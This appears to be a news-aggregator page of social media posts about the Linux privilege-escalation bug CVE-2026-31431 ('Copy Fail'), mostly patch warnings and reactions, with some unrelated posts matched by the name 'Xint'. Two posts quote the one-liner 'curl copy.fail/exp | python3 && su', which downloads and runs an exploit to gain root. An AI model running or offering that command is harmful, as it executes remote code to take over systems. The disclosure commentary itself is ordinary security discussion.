LightNews — News, ranked by scholars

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint

April 29, 2026 at 8:23 PM

Markus Sulzbacher

@msulzbacher.bsky.social

Leute, kümmert euch um eure eure Linux-Distros & Geräte. xint.io/blog/copy-fa...

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...

May 1, 2026 at 5:17 AM

Doctor Memory

@blank.org

well _that's_ certainly eye-opening

Was this AI-found?
→
AI-assisted. The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint.

From there, Xint Code scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run.

April 29, 2026 at 8:32 PM

Filippo Valsorda

@filippo.abyssdomain.expert

Copy Fail? Also looks like memory safety, but is actually complexity.

xint.io/blog/copy-fa...

I am going to link to this while rejecting changes to Go crypto for years.

Anyway, feeling pretty validated in my "ssh in as root, only gVisor or Firecracker are an actual security boundary" approach.

April 29, 2026 at 10:54 PM

Steve Johnson

@luvthemats.bsky.social

#5DaysOfPowerPop #MusicChallenge #music
🎶🎸🥁😎🔊🔊🔊

“Side X Side” by The Needmores
@theneedmores.bsky.social

m.youtube.com/watch?v=xINt...

December 1, 2025 at 4:47 PM

Mike Black

@mikeblack114.bsky.social

Them being done by what is increasingly sounding like SOCOM MQs is another wrinkle, because I think the right lens to look at them through is a deliberate strike on a HVT/OBJ, not on-call CAS or XINT, which has a different paradigm for how legality considerations are communicated/handled

September 16, 2025 at 2:01 AM

The Official Pulpit of CULT OF THE DEAD COW

@cultdeadcow.com

copy.fail

THANKS, I HATE IT.

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

The Needmores - Side X Side

April 29, 2026 at 8:09 PM

The Needmores

@theneedmores.bsky.social

youtu.be/xINt-p4c-x8

YouTube video by The Needmores

youtu.be

October 17, 2025 at 4:27 PM

Julien Briault 🩷💿💜

@juhnny5.bsky.social

ça ça pique...

curl copy.fail/exp | python3 && su

Pour passer root sur n'importe quelle distro depuis 2017 ...

copy.fail

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...

April 30, 2026 at 2:39 PM

aeris

@aeris.eu.org

Mettez à jour tous vos Linux en kernel 7.x
Tout de suite. Oui, là maintenant.
Vraiment.

copy.fail

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

April 30, 2026 at 9:12 AM

Johanna

@johannasa.bsky.social

OSS Software abschalten sofort!!!

copy.fail

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

The Needmores - Side X Side

April 30, 2026 at 6:42 AM

Steve Johnson

@luvthemats.bsky.social

#1WordFor1Music
#MusicChallenge
#MusicSky #Music

8/2 - Side

“Side X Side” by The Needmores
@theneedmores.bsky.social

m.youtube.com/watch?v=xINt...

YouTube video by The Needmores

m.youtube.com

August 2, 2026 at 1:13 AM

YourCuzinVinny - i 💙 🇲🇽 🇨🇦 🇺🇦 🇪🇺 🇵🇸 🇮🇷 🇱🇧

@yourcuzinvinny.bsky.social

"One" - 'A Chorus Line'

www.youtube.com/watch?v=Xint...

"One" - 'A Chorus Line' - Movie Finale

YouTube video by adam28xx

www.youtube.com

December 27, 2024 at 3:07 AM

Rancune

@rancune.org

RED ALERT : ON MET A JOUR !!!!!

copy.fail

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint

April 29, 2026 at 9:01 PM

Chris Short

@chrisshort.net

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint #devopsish

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Security, Vulnerability Research

Linuxで一般ユーザーがroot権限を取得できる脆弱性「Copy Fail」が発見される、2017年以降の多数のディストリビューションに影響

May 1, 2026 at 4:36 PM

GIGAZINE

@gigazine.net

Linuxで一般ユーザーがroot権限を取得できる脆弱性「Copy Fail」が発見される、2017年以降の多数のディストリビューションに影響
https://gigazine.net/news/20260501-copy-fail/

AIを使ってコードを解析するサービス「Xint Code」を提供するXintが、Linuxカーネルの暗号化関連機能において、一般ユーザーからroot権限を取得できるローカル権限昇格の脆弱(ぜいじゃく)性「Copy Fail」を見つけたと発表しました。

gigazine.net

April 30, 2026 at 9:00 PM

Kevin Riggle

@kevinr.free-dissociation.com

copy.fail

If you run Linux anywhere, it's time to take patches.

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

Copy Fail: 732 Bytes to Root on Every Major Linux Distributions - Xint

April 29, 2026 at 9:09 PM

Jesse Vincent

@s.ly

Ordinarily, the security advice is "don't pipe curl to sh, because it might have an exploit in it"

(That advice stands. Always check the payload)

curl copy.fail/exp | python3 && su

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...

April 29, 2026 at 8:43 PM

Nidouille

@nidouille.bsky.social

Nouvelle faille de secu dans le kernel Linux depuis 2017 la veille d'un gros week-end : copy fail ou CVE-2026-31431

Un script python de 732 bits permet une élévation de privilège

copy.fail

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

What Does a Bug Actually Cost? | Xint

April 30, 2026 at 8:20 AM

Juno Jump 💙📚🪐🌶

@junojump.bsky.social

Cant a man enjoy his drink in peace?!
🍸💢 ➡️🧍‍♂️🆚️🦎
Hard to resist the word "reptile" when I have a reptilian alien spieces in my in-progress SFR novel. 📝

Still an early draft, but you get the idea.

#writesky #writingcommunity #scifiromance #wipsnips ##scifiwriting #aliens #amwritting

But his drink no sooner hit the bar when it was snatched up by a scaley ashen hand. The Xint with one eye had snuck up next to them with surprising speed. The reptile leaned on the bar, uncomfortably close to Joe, and gave a low hiss, thier glassy yellow eye sizing him up. The Xint was smaller than him by at least a foot, but their claws and teeth were quite formidable.
“You look soft, human. I thought your kind would be bigger.”
They hissed a sharp laugh and ruefully twisted their tongue in the stolen glass, slurping up its contents.
He returned their cruel gaze with a bemused expression. “You enjoying that?” Joe asked, probably against his better judgement. The Xint’s large eye quivered. They reared forward, spines fully up, but Joe refused to budge.
Shit. He hadn’t even been here ten minutes and he was already being challenged. The Xint’s gang pushed in behind them to watch, waiting to see how Joe was going to react to their leader’s provocation. To them, he was probably tonight's entertainment.
How annoying.

August 25, 2025 at 2:12 PM

Xint by Theori

@xint-io.bsky.social

What's the biggest dropoff between the POC of an AI cybersecurity product versus how it actually performed once in production?

xint.io/resources/wh...

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint

September 25, 2026 at 4:21 PM

Chris Heilmann

@codepo8.bsky.social

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. xint.io/blog/copy-fa...

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...